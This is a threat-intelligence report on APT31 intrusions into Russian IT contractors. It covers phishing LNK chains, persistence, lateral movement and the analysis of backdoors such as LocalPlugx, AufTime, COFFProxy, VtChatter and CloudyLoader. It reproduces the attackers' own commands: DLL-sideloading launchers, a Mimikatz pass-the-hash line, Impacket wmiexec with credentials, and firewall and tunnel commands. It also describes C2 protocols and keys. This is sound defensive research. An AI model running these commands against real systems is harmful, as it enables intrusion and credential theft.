PT Expert Security Center

Judgment Panda attacks: APT31 today

Judgment Panda attacks: APT31 today

Authors:

Daniil Grigoryan

Daniil Grigoryan

Senior Specialist, Cyberthreat Response Department

Varvara Koloskova

Varvara Koloskova

Specialist, Threat Intelligence Department

Key findings

  • Between 2024 and 2025, APT31 carried out attacks against the Russian IT sector.
  • APT31 uses cloud services for C2, including Russian cloud providers.
  • The attackers follow a predefined scenario for lateral movement inside the victim's network.
  • The attacks involved new malware samples, including AufTime, COFFProxy, VtChatter, YaLeak, CloudyLoader, and OneDriveDoor.

Group profile

APT31 is a cyberespionage group focused on industrial espionage and theft of intellectual property. The group disguises its tools as legitimate software and abuses legitimate online services to establish bidirectional C2 channels for its malware.

From 2024 to 2025, Russia's IT sector — particularly contractors and systems integrators serving government agencies — was hit by a series of targeted cyberattacks. What made these attacks stand out was the attackers' well-planned tactics, which let them stay undetected for a long time. While investigating the incidents, we were able to link some of the attacks to APT31, reconstruct the group's tactics and techniques, and obtain unique samples of its tools.

The attackers used both third-party tools (for lateral movement and reconnaissance) and their own malware, including LocalPlugx, CloudSorcerer, COFFProxy, VtChatter, CloudyLoader, OneDriveDoor, and GrewApacha.

To covertly control their malware, the attackers abused legitimate web services. They placed encrypted commands and payloads in profiles on popular social networks — both Russian and international — as well as on other platforms. This allowed the attackers to bypass traditional security controls, since traffic to these services did not look suspicious.

The attackers were well aware of how the target organizations operated. They carefully chose when to act, focusing on weekends and public holidays. One notable example was a large-scale attack launched over the New Year holidays. Because the corporate infrastructure stayed online, they managed to break into the systems, establish a foothold, deploy their tools, and carry out reconnaissance inside the corporate network.

It is likely that the attackers followed a prewritten scenario, simply copying and running prepared commands. During the investigation, we found LocalPlugx installed on many computers with the keylogger module enabled. Analysis of the data captured by the keylogger showed that all commands were pasted from the clipboard rather than typed manually. These keylogger logs allowed us to reconstruct the commands the attackers executed in the compromised infrastructure.

Initial Access

During an incident investigation at a Russian IT company in July 2025, the PT ESC IR team determined that the attackers had actually broken into the infrastructure back in late 2022. They then used the New Year holidays in early 2023 to advance the attack.

In December 2024, PT ESC TI observed another variant of this attack. In that campaign, APT31 sent a phishing email that looked as if it came from a procurement manager. The email attached a malicious archive named Требования.rar (translated as "Requirements.rar") containing an LNK file that launched a lure document and CloudyLoader, a Cobalt Strike loader. This attack is described in more detail in a separate article.

The LNK file first unpacked and opened the lure documents (Company Profile.pdf and List of requirements.pdf). It then used DLL sideloading to run the malicious library BugSplatRc64.dll with CloudyLoader.
 

"C:\Windows\System32\cmd.exe" /c echo F | 
xcopy /h /y %cd%\Требования\Требования C:\Users\Public\Downloads\ 
& start %cd%\Требования\
& ren C:\Users\Public\Downloads\Company.pdf nau.exe 
& ren C:\Users\Public\Downloads\Requirements.pdf BugSplatRc64.dll 
& C:\Users\Public\Downloads\nau.exe


APT31 used the same technique outside Russia as well. We found an archive named Seguro_de_lMRE.zip, which appears to have been downloaded in Peru.

The archive contained files with the following structure:

  • Seguro_de_lMRE.pdf.lnk
  • MACOSX
    • Seguro_de_lMRE.pdf
    • ~\~\~\~\~
      • BsSndRpt64.exe
      • BugSplatRc64.dll

The shortcut Seguro_de_lMRE.pdf.lnk unpacked all files into a temporary folder and then displayed the lure document Seguro_de_lMRE.pdf.
 

/c forfiles /p c:\users /s /m Seguro_de_lMRE.zip /c "cmd /c tar -xf @path -C %TMP%"
&&cmd /c %TMP%\__MACOSX\Seguro_de_lMRE.pdf&&cmd /c %TMP%\__MACOSX\~\~\~\~\~\BsSndRpt64.exe
&&cmd /c attrib +h +r +s +a %TMP%\__MACOSX

Command in the LNK file Seguro_de_lMRE.pdf.lnk

The document was disguised as a financial report from the Ministry of Foreign Affairs of Peru.

Decoy document used in the September 2024 attack
Decoy document used in the September 2024 attack

The LNK file then launched the legitimate application BsSndRpt64.exe, which is vulnerable to DLL sideloading. The application then loaded the BugSplatRc64.dll library with the CloudyLoader payload.

Discovery

To collect information about hosts in the compromised infrastructure, APT31 used SharpADUserIP, a C# tool that extracts usernames and IP addresses from event 4624 in Security.evtx.

SharpADUserIP description
SharpADUserIP description

To identify RDP sessions, the attackers ran a PowerShell script that used the Get-WinEvent cmdlet to search for events with ID 21 (RDP logon). From those events, the script collected usernames and IP addresses of RDP connections.
 

powershell -Command Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$_.Id -eq 21} | ForEach-Object { $eventXml = [xml]$_.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login Time: ' + $loginTime) }}


We also observed the following additional tools:

For network scanning, the attackers used Advanced IP Scanner, which allowed them to quickly identify devices across the environment.

Persistence

To maintain persistence, the attackers used the Windows Task Scheduler with MITRE technique T1053.005. They named their tasks after well-known legitimate software, such as YandexDisk, GoogleUpdater, and NVIDIA, to blend in with normal activity.
 

Appvservers
WPDsync
NVIDIADEBUG
WInSeting
Microsoft\Windows\pwrshplugin\exeStart
7zup_Server
Microsoft\Windows\Tcpip\IpConf
Microsoft\Windows\ApplicationData\appuriverifierinstalls
Crashpad_Server
Yandexstart_Server 
WinDeviceSync
DataMAVServer
YandexDisk_Servers
LAPSClientUp
GoogleUpdater
GoogleRecovery
PretonDebug
WinDeviceSync1


On some hosts they created hidden tasks. This technique is described in a Solar 4RAYS blog post: the attacker creates and runs a malicious task, then deletes the property SecurityDescriptor (SD) from the registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ and removes the XML task file from the directory C:\Windows\System32\Tasks.

Below is an example of commands executed by APT31 in the compromised infrastructure:

Commands for creating a hidden task
Commands for creating a hidden task

This style of gaining persistence is common among Asian threat groups. Positive Technologies' own tool PT Dumper includes a module designed to detect this technique. PT Dumper is a Golang-based utility for collecting telemetry and analyzing data (for anomaly detection) on Windows, Unix, and macOS hosts.

The tool is a compiled binary signed with a trusted digital certificate, which ensures stable operation and avoids conflicts with other information security tools installed on the hosts under test.

PT Dumper has proven effective in incident response investigations involving complex targeted attacks and ransomware, and it also helps identify previously unknown malware.

PT Dumper can be requested by emailing ir.esc@ptsecurity.com (requests must be sent from a corporate email address).

The module looks for three cases: deletion from the file system, deletion of the security descriptor (SD), and modification of the index.

PT-Dumper output when searching for hidden tasks
PT-Dumper output when searching for hidden tasks

Another interesting payload execution method we observed involved the attackers running the executable C:\WINDOWS\system32\oobe\Setup.exe in the compromised infrastructure. This is a system executable file responsible for the Windows initial setup (OOBE, Out-of-Box Experience). It runs when a new machine is first powered on or after a clean installation, walking the user through account creation, license acceptance, and basic configuration. If an error occurs when this file runs, the CMD script C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is called.

To trigger such an error, the attackers created a scheduled task that run Setup.exe with the /ui argument.
 

<Actions Context="Author">
   <Exec>
     <Command>C:\Windows\System32\oobe\Setup.exe</Command>
     <Arguments>/ui</Arguments>
   </Exec>
 </Actions>


Running this file triggered an error that would normally be handled by the ErrorHandler.cmd script. Instead, the attackers had placed their payload in the file. The example below shows the contents of the file ErrorHandler.cmd.

Example of ErrorHandler.cmd contents
Example of ErrorHandler.cmd contents

Defense Evasion

To create an encrypted tunnel and set up a peer-to-peer (P2P) network between the compromised host and the attacker infrastructure, the attackers used the legitimate tool Tailscale VPN. This allowed them to move data covertly and bypass perimeter defenses.

APT31 also used Microsoft dev tunnels for traffic tunneling, via the Microsoft-signed file devtunnel.exe. The attackers combined this tool with the LocalPlugx malware, which listened for commands on a specific port.

This tunneling technique gives the attacker several advantages:

  • No need to open inbound ports on the corporate firewall — outbound HTTPS connections to *.devtunnels.ms are typically allowed.
  • Traffic blends in with legitimate connections to trusted Microsoft domains (*.devtunnels.ms, *.microsoft.com).
  • The tool requires minimal configuration and is easy to deploy.
  • The tool allows attackers to obtain remote access to internal services (RDP, SSH, and web servers) by exposing them externally.

Dev tunnels supports several operating modes that control who can access your tunnel:

  • Public — anyone with the tunnel URL (random-string.devtunnels.ms.) can connect.
  • Private — only users explicitly invited via their Microsoft (Entra ID) accounts that are added to the access list.

In the compromised infrastructure, we observed devtunnel.exe being launched in Public mode via the Windows Task Scheduler.
 

 <Actions Context="Author">
   <Exec>
     <Command>C:\WINDOWS\system32\Devtunnel.exe</Command>
     <Arguments>host [REDACTED] -a</Arguments>
   </Exec>
 </Actions>


To hide their activity on the host, the attackers cleared event logs using wevutil.

Commands used to delete the contents of Windows log files
Commands used to delete the contents of Windows log files

They deleted files from the working directory with the following command:

Lateral Movement

On several compromised hosts, the attackers created a local administrator account and then used that account to move laterally between the hosts.

User creation
User creation

For lateral movement inside the perimeter, the group used tools from the public Impacket toolkit, including WmiExec and SmbExec, as well as RDP.

Below is an example of lateral movement to a compromised host using the created local administrator account Administrator$:
 

impacket-wmiexec Administrator$:'e=lim(1+1/n)'@192.168.22.3


The following command uses the Mimikatz utility to perform a Pass-the-Hash (PTH) attack in combination with RDP Restricted Admin Mode:
 

sekurlsa::pth /user:radmin /domain:[REDACTED] /ntlm:[REDACTED] "/run:mstsc.exe /restrictedadmin"

Credential Access

To obtain credentials of the compromised host users, the attackers exported registry hives.
 

They then used the public Impacket utility secretdump.py to extract credential data from the registry.
 

During the investigation of an incident linked to this group, we also identified a malicious IIS module designed to steal Outlook on the web users' credentials. The OWOWA module is installed on a web server and monitors HTTP requests and responses on the Outlook sign-in page. When a user enters their credentials, the module intercepts the login and password and writes them to a file.

In our case, the attackers deployed OWOWA after they had already gained access to the infrastructure.

The code contains two event handlers in the ASP.NET/IIS pipeline.

The context_BeginRequest handler for the BeginRequest event intercepts every incoming HTTP request at the very beginning. If the request URL contains owainfo_log, the handler intercepts the request and returns the decrypted log file with collected credentials. If the request contains /owainfo_log/del, it deletes the log file. This gives the attackers a simple way to manage the collected credentials.

context_BeginRequest handler code
context_BeginRequest handler code

The second handler processes the PreSendRequestContent event, intercepting the HTTP response before it is sent to the client. At this stage, the malware analyzes the login form and, if it finds username and password fields, writes their values to the file.

context_PreSendRequestContent handler code
context_PreSendRequestContent handler code

We have seen different OWOWA variants in other incidents. In many cases, the log file is encrypted with RSA. In this case, the attackers used AES (AES key: Io8Mqhw6P6WPPDgCcTHlQ3g6qjWiTwGj; IV: Xy1kAas6muDVK2wK).

Execution

The attackers used both previously known malware, including LocalPlugx, CloudSorcerer, and GrewApacha, as well as unique tools:

  • AufTime — a Linux backdoor that uses the WolfSSL library to communicate with its C2.
  • COFFProxy — a backdoor that loads Beacon payloads in Coffloader format. We also identified a Golang implementation of this tool that, instead of loading a Beacon, executes commands similar to those run via cmd.
  • VtChatter — malware that uses comments to a file on VirusTotal as a bidirectional C2 channel.
  • CloudyLoader — a loader for Cobalt Strike implants that uses direct system calls (direct syscalls) and fetches payloads from the attacker's GitHub repository.
  • OneDriveDoor — a backdoor that uses OneDrive cloud storage as its C2.

To deliver malware to compromised hosts, APT31 used a shared network drive inside the victim infrastructure and copied tools from it with the following command:
 

copy \\[REDACTED]\Distr$\test\*.* C:\ProgramData\Microsoft\[REDACTED]\ /y

LocalPlugx

One of the most frequently observed malware families on compromised hosts was the LocalPlugx backdoor, which consists of a legitimate executable file, a dynamic library (loader), and an encrypted shellcode file manifest.txt. Execution was performed using the classic DLL sideloading technique.

The DLL that implements the core shellcode decryption functionality is protected with VMProtect and uses custom section names. In some cases, these section names matched the name of the compromised organization.

Example of a VMProtect section name
Example of a VMProtect section name

Unlike standard variants, LocalPlugx operates in server mode, most often listening on ports 53 and 5355, although other configurations are possible. Interestingly, on a system infected with this backdoor, the attackers ran a netsh command for the PlugX listening port, adding a firewall rule to allow an incoming TCP connections on port 5335.
 

netsh advfirewall firewall add rule name="MicroDeviceSync' protocol=TCP dir=in localport=5355 action=allow

Command to open a local port

LocalPlugx functionality is split into two components:

  • One is responsible for sending and receiving messages to and from C2
  • The other is responsible for command execution

LocalPlugx performs code injection into various Windows processes. First, the backdoor checks which application context it is running in and switches to one of the two modes accordingly. If it is not already injected into a target process, it injects itself into specific Windows processes. The two backdoor components communicate via the pipe \\.\PIPE\X<PID>.

During incident investigations, we observed that the wksprt.exe and explorer.exe processes were added to the typical PlugX injection processes (winlogon.exe and msiexec.exe).

LocalPlugx can manage its current connection, tunnel traffic, and execute plugin commands. Among the standard plugins the most notable was a keylogger plugin.

All of the techniques described above were confirmed by attacker commands that we recovered thanks to LocalPlugx running on compromised hosts with the keylogger module enabled.

The keylogger creates two files:

  • ntuser.dat.LOG1: records keystrokes.
  • ntuser.dat.LOG2: records clipboard contents.

In order to steal keystrokes and clipboard data, the malware creates a raw input device (RawInputDevice). In the keylogger module, all incoming messages were continuously redirected, and the device intercepted them and wrote the data to the corresponding files.

Keylogger module: creating RawInputDevice
Keylogger module: creating RawInputDevice

The data in these files is saved using a specific format: for keylogging data, the malware stores the application name and window title into which the data was entered.

Keylogger module: message format
Keylogger module: message format

The messages are encrypted using a single-byte XOR, with the high bit overwritten in each byte of the character representation.

Keylogger module: XOR encryption
Keylogger module: XOR encryption

We successfully decrypted the log files. On some hosts, we found attacker commands inside the ntuser.dat.LOG2 files. This indicates that the commands were pasted from the clipboard rather than typed manually. This strongly suggests that the attackers followed a prepared scenario, simply copying and executing commands.

CloudSorcerer

APT31 still uses CloudSorcerer, a two-module backdoor that is structurally similar to LocalPlugx. It is delivered to the system together with a DLL (loaded via DLL sideloading and protected with VMProtect) that decrypts the shellcode using a 4-byte XOR key. The shellcode then decompresses an LZNT1-compressed backdoor and runs it.

CloudSorcerer includes a server module and a backdoor module that communicate over the pipe .\\PIPE\\[%d]. Both modules run in Windows system processes. The following processes were used most often:

  • choice.exe
  • charmap.exe
  • mspaint.exe

The server module does not contain a hardcoded C2. Instead, it retrieves an encrypted message from public sources (for example, mail[.]ru) and decrypts it by first decoding it from Base64 and then applying a simple substitution cipher.

The decrypted data is a token for one of the cloud C2 servers:
 

cloud-api.yandex.net
graph.microsoft.com
content.dropboxapi.com


The backdoor module has changed very little; its command set remains almost the same.

AufTime

The attackers delivered a file named time to Linux hosts. Inside it we found a backdoor that uses the WolfSSL library for C2 communications. We refer to this backdoor as AufTime.

AufTime supports file operations, multiple concurrent connections, and traffic tunneling.
On startup, AufTime opens two shared memory segments: /shd_mem_SE0v0 and /shd_mem_SE0v0_2.

AufTime: creating shared memory segments
AufTime: creating shared memory segments

Malware checked the state of the first segment /shd_mem_SE0v0. If more than one process is attached to the shared memory, it aborts to enforce a single-instance launch. Otherwise, it executes itself as a system daemon, without redirecting standard streams.

Next, AufTime registers handlers for a set of signals to either ignore them or to continue execution in case of an error:

  • SIGCHLD: handler is set to simplify waiting.
  • SIGPIPE: signal is ignored.
  • SIGSTOP: signal is ignored so the process cannot be stopped.
  • SIGTERM: sets the sig_clean_mem handler, which disables all shared folders.
  • SIGINT: the sig_clean_mem handler is set.
  • SIGSEGV: the sig_clean_mem handler is set.
  • SIGABRT: the sig_clean_mem handler is set.

Next, the backdoor changes its own argv, appending "0" and a command line argument that imitates Linux system processes, for example [kworker/5:5-events].

AufTime: name spoofing
AufTime: name spoofing

Next, a new child process is created. The child process writes the current PID to the second shared memory segment, /shd_mem_SE0v0_2. The parent process exits as soon as this child process is no longer reachable.

AufTime: main loop
AufTime: main loop

The main AufTime logic is implemented in do_connection. This function establishes a TLS connection to the C2 server; it assigns it ID_connection = 1.

AufTime: do_connection function
AufTime: do_connection function

As a result, a connection structure (conn_tls) is built.
 

struct conn_tls { 
_QWORD wolfssl_conn; 
_DWORD socket; 
_DWORD ID_connection; 
int current_command; 
__attribute__((aligned(8))) _BYTE flag_1_readfromit; // if true - ready to read from server 
_BYTE flag_2_commandexec; // if true - ready to read command 
_BYTE flag_3_writeinit; // if true - ready to write _QWORD time; 
};


The newly created structure is added to the global poll array of connections, and the server is sent command 0×10000001 with the current value /etc/machine_id, that is, information about the compromised host.

AufTime: asynchronous processing of active connections
AufTime: asynchronous processing of active connections

In the poll_run function, the current connections are managed based on set flags:

  • The connection marked with flag 1 is found.
  • Any connection that has been alive for more than two minutes is attempted to be refreshed and reconnected.
  • Any connection is closed after a three-minute timeout.
  • The sockets of all active connections are added to an array of NDFS structures so that their descriptors can be processed via poll.
  • If any socket is ready for reading, a separate thread is created to be processed with the handler_read function.
    • If flag_2_commandexec is set to true, a command from the server is read and executed.
    • Otherwise, the connection works as a proxy and messages are forwarded.
AufTime: proceeding to the execution of handle_command
AufTime: proceeding to the execution of handle_command

Commands are handled by handle_command after the data is received from the C2.

AufTime supports about 20 commands (listed below). The sample also includes multiple unused functions, including a C2 connection without using TLS. This suggests the tool is still under development and that additional features may be added later.

NumberIDDescription
10×10000001Send information about the server
20×10000003Heartbit
30×10000004Terminate execution
40×10000010Send information about the server in JSON format (secure version)
50×10000021Create reverse-shell and redirect control to /bin/sh, transit to 0×10000024
60×10000024Write data to the interpreter
70×10000030Receive a folder name and send ls to the server
80×10000031Obtain the file name and delete it
90×10000033Receive a folder name, create it, and return the handle
100×10000040Obtain the command and execute it using sh -c \<command\>, send results
110×10000041Read data from the server
120×10000045Create a new SSL connection by sending only the 0×10000046 in response
130×10000047Obtain the file name and send its size to the server
140×10000048The response is to send the file to the server
150×10000049Retrieve the file name, determine the size of the data, append it to the end of the file, and send the new size back to the server
160×1000004ASend command 0×1000004B to the server and set the read flag to True
170×10000051Create a SOCKS5 proxy Connections can be made via hostname, IPv4, or IPv6. The proxy is marked with command 0×10000053, and a success notification 0×10000052 is sent to the server. This type of connection is tagged with its own flag (provided by the server) so it can be distinguished from all others
180×10000053Write data obtained from the server to proxy
190×10000091Same as 0×10000045
200×10000093Retrieve the file name and send its contents to the server starting from the specified offset using command 0×10000094
210×10000094Response to the server containing the file contents

The 0×10000001 command is worth noting separately, as it collects victim information and sends it to the C2 in JSON format:
 

{ 
    "hostname" : <gethostname>, 
    "sys_name" : <uname>,
    "node_name" : <uname.nodename>, 
    "release": <uname.release>, 
    "username" : <name>, 
    "lan": <lan_addr>, 
    "gid" : <getegid()> 
}

COFFProxy

COFFProxy is a small backdoor that uses payloads in Coffloader's BOF (Beacon Object File) format. It supports commands for traffic tunneling, file operations, loading additional Beacon payloads (created via Coffloader), and privilege escalation via impersonation.

The backdoor supports three different C2 servers, which it tries in sequence: if one fails, it moves on to the next, and so on. It also supports a server mode.

Native version

The encrypted shellcode is decrypted by the DLL SSPICLI.dll. That shellcode injects the backdoor into C:\Windows\System32\audiodg.exe.

The configuration is stored unencrypted in the data section and is 0×400 bytes in size. In raw form it looks like:
 

struct raw_conf
{
  __int16 work_hours[14];
  int sleep_delta;
  int period;
  char ID_client[12];
  int bind_port;
  int port1;
  int port2;
  int port3;
  __int16 c2_1_len;
  __int16 c2_2_len;
  __int16 c2_3_len;
  char c2_1[c2_1_len];
  char c2_2[c2_2_len];
  char c2_3[c2_3_len];
};


The backdoor uses a more extended configuration, which also contains the malware version. All analyzed samples reported version v12.1.

When it starts, COFFProxy checks the current time and day of the week against the corresponding work_hours entry. If the current time falls outside the configured working hours for that day, the backdoor exits. In the analyzed samples, the backdoor did not run on Sundays.

COFFProxy: runtime schedule check
COFFProxy: runtime schedule check

If the check succeeds, the backdoor tires to connect to the domains specified in the configuration; alternatively, it can switch to listening for incoming connections on a specified port.

COFFProxy: connecting to the server
COFFProxy: connecting to the server

All messages sent to the server are encrypted with AES. The AES key is stored in the configuration and was the same in all examined samples.

Decrypted messages have the following structure:
 

struct msg_header
{
  char Id_string[12]; // current connection ID
  int command;
  _DWORD field_10; // dop command in golang
  int error_num;
  int vec1_counter;
  int vec2_counter;
};
struct msg_params{
  vector_str vec_1; // additinal connections id
  vector_str vec_2; // command parameters
}
struct msg{
    msg_header header;
    msg_params params;
}


In the raw message, all fields from the msg_header structure are transmitted directly.

Parameters of the first and second types are transmitted in the raw message separated by the tab character \t. The number of parameters of each type is determined by the vec1_counter and vec2_counter fields, respectively. Parameters of the first type contain the IDs of the connections to be addressed, while parameters of the second type contain command data.

The main COFFProxy commands are:

  • 0×70000003 (recv): heartbeat request
  • 0×70000000: (send) an acknowledgment command (for example, in response to a heartbeat). The parameters include the port (or * in bind mode) and the COFFProxy version.
  • 0xA7: create a new proxy connection, assign it a fresh ID, then switch to command 0xA8.
  • 0xA8: send the newly created proxy ID.
  • 0xA9: execute the received beacon, starting at the goentry point.
  • 0xAA: terminate execution.
  • 0xAC: elevate privileges for SessionID using ImpersonateLoggedOnUser

The following commands run in a separate thread:

  • 0xB1: for the given file name, send its current size to the server, then write data from the server to the end of the file
  • 0xB2: send the contents (and size) of the specified file to the server, using the specified name and offset.
  • 0xB4: creates a tunnel for the specified domain and port, spawning two separate threads to forward the incoming and outgoing connections streams in both directions.

If vec_1 is set, subsequent operations must use the proxy whose ID is given in vec_1. In this case, only ≥ 0xB0 commands are allowed. If a command with a lower value is received, this proxy is disconnected.

Golang version

The same backdoor, but written in Golang and compiled for Linux. It is additionally obfuscated with Garble and was observed on systems under the name time. This version is functionally similar, but instead of executing BOF it uses an internal command interpreter that performs actions depending on additional commands.

The file configuration does not have the work_hours parameter, so the backdoor can run at any time; a sample ID and C2 connection parameters are still present.

COFFProxy: Golang, configuration
COFFProxy: Golang, configuration

The Golang version uses a simpler configuration structure in which parameters are separated by a single \t. The backdoor version in this case is L12.1a.
 

{ 
    char magic[]; 
    _BYTE separator1; // \t
    char bind_port[];
    _BYTE separator2; // \t
    char c2_addr_1[];
    _BYTE separator3; // \t
    char c2_port_1[];
    _BYTE separator4; // \t
    char c2_addr_2[];
    _BYTE separator5; // \t
    char c2_port_2[];
    _BYTE separator6; // \t
    char c2_addr_3[];
    _BYTE separator7; // \t
    char c2_port_3[];
    _BYTE separator8; // \t
} 


The message structure remains the same (but adjusted for Golang), which explains the gaps in the messages:
 

struct msg_header{
    _BYTE magic[12];
    int command;
    int dop_command;
    int ret_error;
    int param1_size;
    int param2_size;
}

struct msg_params{
    slice param1; // slice with string array
    slice param2; // slice with string array
}

struct msg{
    msg_header header;
    msg_params params;
}


The command list is slightly different (commands 0xB1, 0xB2, and 0xB4 are unchanged).

  • 0xA9: whereas the native COFFProxy executed Beacons, this version runs a command determined by the dop_command parameter.
COFFProxy: Golang switchcase for handling additional commands from the server
COFFProxy: Golang switchcase for handling additional commands from the server
  • 0×03: print information about a file or directory
  • 0×05: execute a bash command with parameters (passed as a single string; substrings are extracted using the regex r ('[^']*'|"[^"]*"|[^'"\s])+ ). Send the command output back to the server
  • 0×07: MkdirAll
  • 0×08: rename files (old and new names are passed)
  • 0×09: recursively copy from one folder to another (also takes two parameters)
  • 0×0A: delete all files in the specified directory
  • 0×0B: same as command 8
  • 0×0C: execute a bash command (same as 0×05), but do not send stdout/stderr
    to the server
  • 0xA7: as before, create a new proxy connection
  • 0xA8: as before, send the magic value from the new proxy
  • 0×70000003: the same as before. The difference is that we now know what the attacker called these functions: SendOnlineToCtrl, and then, for all proxies, BroadcastChild, so that they also send a heartbeat to the server.
  • 0xAA — exit.

VtChatter

VtChatter is a DLL named NVIDIADEBUG.dll, which was launched every two hours using Windows Task Scheduler.
 

<Actions Context="Author">
    <Exec>
      <Command>C:\Windows\system32\rundll32.exe</Command>
      <Arguments>C:\ProgramData\NVIDIA\NVIDIADEBUG.dll fun</Arguments>
    </Exec>
  </Actions>


The executable contains an export function named fun, which implements the core functionality. VtChatter uses comments on a specific file on VirusTotal as a two-way C2 channel.

The file ID (file_id) and VirusTotal API token (x-api-key) are stored inside the malware, encrypted with RC4 using the key -032yhns1! -=.

FileID: adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8
X-API-KEY: [REDACTED]

Interestingly, VtChatter can execute only one command from C2 per run, so the attackers run it every two hours.

The malware behavior can be divided into the following stages:

1.Receiving a command. Using the VirusTotal API, the malware sends a request to the following URL: https://virustotal.com/api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments. In response, it receives a JSON object containing the fields id and text (a comment on the file).
 

GET /api/v3/files/adc9bf081e1e9da2fbec962ae11212808e642096a9788159ac0acef879fd31e8/comments HTTP/1.1
x-apikey: [REDACTED]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Host: www.virustotal.com
Connection: Keep-Alive
Cache-Control: no-cache


2.Decrypting the command. The text field of the JSON response contains the file comment encoded in Base64. The malware decodes the data from Base64 and then decrypts it with RC4 using the key usde-092d.

The decrypted data is expected to have the following structure:

  • Marker (0xAAAABBBB): 4 bytes
  • Payload length: 4 bytes
  • RC4 key for the payload: 4 bytes
  • Payload
Pseudocode for command decryption
Pseudocode for command decryption

Let's consider the following example:

Encrypted data: SJemLS14Qq2KF4cNVkn/cc5v

Base64 → RC4 with the key usde-092d: bb bb aa aa 06 00 00 00 93 2e cc b0 1d 73 36 6c 2f 7e

From this we obtain: marker: 0xAAAABBBB; encrypted message length: 6; RC4 key: 93 2e cc b0; and encrypted command. We then decrypt the command 1d 73 36 6c 2f 7e with RC4 using the key 93 2e cc b0. The result is the whoami command.

3.Executing the command. The command is executed using the Command Output Redirection via Pipes technique.

Pipe creation:
 

CreatePipe(p_hObject_1 + 3, p_hObject_1 + 2, &lpMultiByteStr, 0)  // stdin pipe
CreatePipe(p_hObject_1 + 1, p_hObject_1, &lpMultiByteStr, 0)      // stdout/stderr pipe


Redirection of standard streams:
 

StartupInfo.hStdInput = hStdInput;   // stdin from pipe
StartupInfo.hStdOutput = hObject;    // stdout to pipe  
StartupInfo.hStdError = hObject;     // stderr to pipe
Pseudocode for executing a command on the system
Pseudocode for executing a command on the system

After the command is executed, the malware reads the created Pipe.

4.Sending the command output. Once the command is executed, the malware generates a 4-byte RC4 key that will be used to encrypt the result. The command output is packed into a message of the following form:

  • Marker (0xBBBBAAAA)
  • Length of the command output: 4 bytes
  • RC4 key: 4 bytes
  • Command output

The message is then encrypted with RC4 using the same key usde-092d and encoded in Base64.

The resulting message is embedded into a JSON object and posted as a file comment via the VirusTotal API.

Using the known VirusTotal user token, we were able to obtain the following information: username: planningmid; registration date: November 15, 2022; last login: May 5, 2023.
 

"id": "planningmid",
    "type": "user",
    "links": {
      "self": "https://www.virustotal.com/api/v3/users/planningmid"
    },
    "attributes": {
      "collections_count": 0,
      "reputation": 1,
      "user_since": 1668479246,
      "first_name": "mid",
      "last_name": "planning",
      "certified": false,
      "apikey": "",
      "mandiant_uuid": "planningmid",
      "private": false,
      "status": "active",
      "preferences": {
        "ui": {
          "last_read_notification_date": 1683255623
        }
      },
       "email": "planningmid@mail.ru",
      "sso_enforced": false,
      "last_login": 1683255597,


We also found out that the attackers posted comments on the following files: 90d2d1af406bdca41b14c303e6525dfc65565883bf2d4bf76330aa37db69eceb, f506898cc7c2e092f9eb9fadae7ba50383f5b46a2a4fe5597dbb553a78981268.

Comments on the planningmid user files
Comments on the planningmid user files

In addition to encrypted whoami commands, in August 2025 we registered the following response: WYa3PBF4Qq0qdNvTtvcI3Ch/O2Zy2Mvdq2JfMq4Efi4yN3xl+T09mSxYqfwe1uaF7sM4CBJlJbDkEeV9SwbnBgU/BV7PzQ==.

After decryption, we obtained the following data:

Marker: 0xbbbbaaaa; length of the encrypted data: 58; RC4 key: b'334d906e'
Command output: windows-ldnd2ke\denise

CloudyLoader

The CloudyLoader sample consists of a legitimate executable mskeyptotect.exe (a component of BsSndRpt.exe from the BugSplat crash and error reporting service); the BugSplatRc64.dll dynamic library; and the payload file try. BugSplatRc64.dll is loaded via DLL sideloading.

The dynamic library is protected with VMProtect v3 with anti-debugging checks enabled. The main tasks of the malicious dynamic library is to decrypt the try file; create a makecab.exe process; and inject the decrypted shellcode from the try file into this process.

When execution reaches the DLL entry point, it installs a hook on the MessageBoxW function. When this function is called, the mskeyptotect.exe executable calls the hook function of the dynamically linked BugSplatRc64.dll. This technique makes it harder to detect the malware in a sandbox without the executable file.

Pseudocode of the hook function
Pseudocode of the hook function

At startup, the DLL creates the mutex BugRpt_A85.

All Windows APIs used for file operations, mutex creation, and process creation are hashed with the following algorithm:
 

def CalculateAPIHash(data: bytes):
    v3 = 0xFFFFFFFF
    for byte in data:
        temp1 = (2 * byte) ^ ((2 * byte) ^ (byte >> 1)) & 0x55555555
        v4 = temp1 >> 2
        v5 = 4 * temp1
        temp2 = v5 ^ (v5 ^ v4) & 0x33333333
        v6 = ((temp2 >> 4) | (16 * (temp2 & 0xFF0F0F0F))) & 0xFFFFFFFF
        v8 = int.from_bytes(v6.to_bytes(4, 'little'), 'big')
        for _ in range(8):
            if (v3 ^ v8) & 0x80000000:
                v3 ^= 0xC520DEC7
            v3 = (v3 * 2) & 0xFFFFFFFF
            v8 = (v8 * 2) & 0xFFFFFFFF
    
    v9 = (~v3) & 0xFFFFFFFF
    v10 = (4 * ((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555))  & 0xFFFFFFFF
    v11 = (v10 ^ (v10 ^ (((2 * v9) ^ ((2 * v9) ^ (v9 >> 1)) & 0x55555555) >> 2)) & 0x33333333)  & 0xffffffff
    v11 = ((16 * v11) ^ ((16 * v11) ^ (v11 >> 4)) & 0xF0F0F0F) & 0xffffffff
    return int.from_bytes(v11.to_bytes(4, 'little'), 'big')


After the address of the target function is obtained and the function is executed, the function pointer is wiped — presumably as a measure to complicate dynamic analysis.

Retrieving and wiping the address of a Windows API function
Retrieving and wiping the address of a Windows API function

At the next stage, BugSplatRc64.dll reads the file try and decrypts it using an XOR operation with the key AB CD 76 A5. It then creates a process named makecab.exe in a suspended state.

To inject the shellcode from the try file, the malware uses direct system calls (direct syscalls).

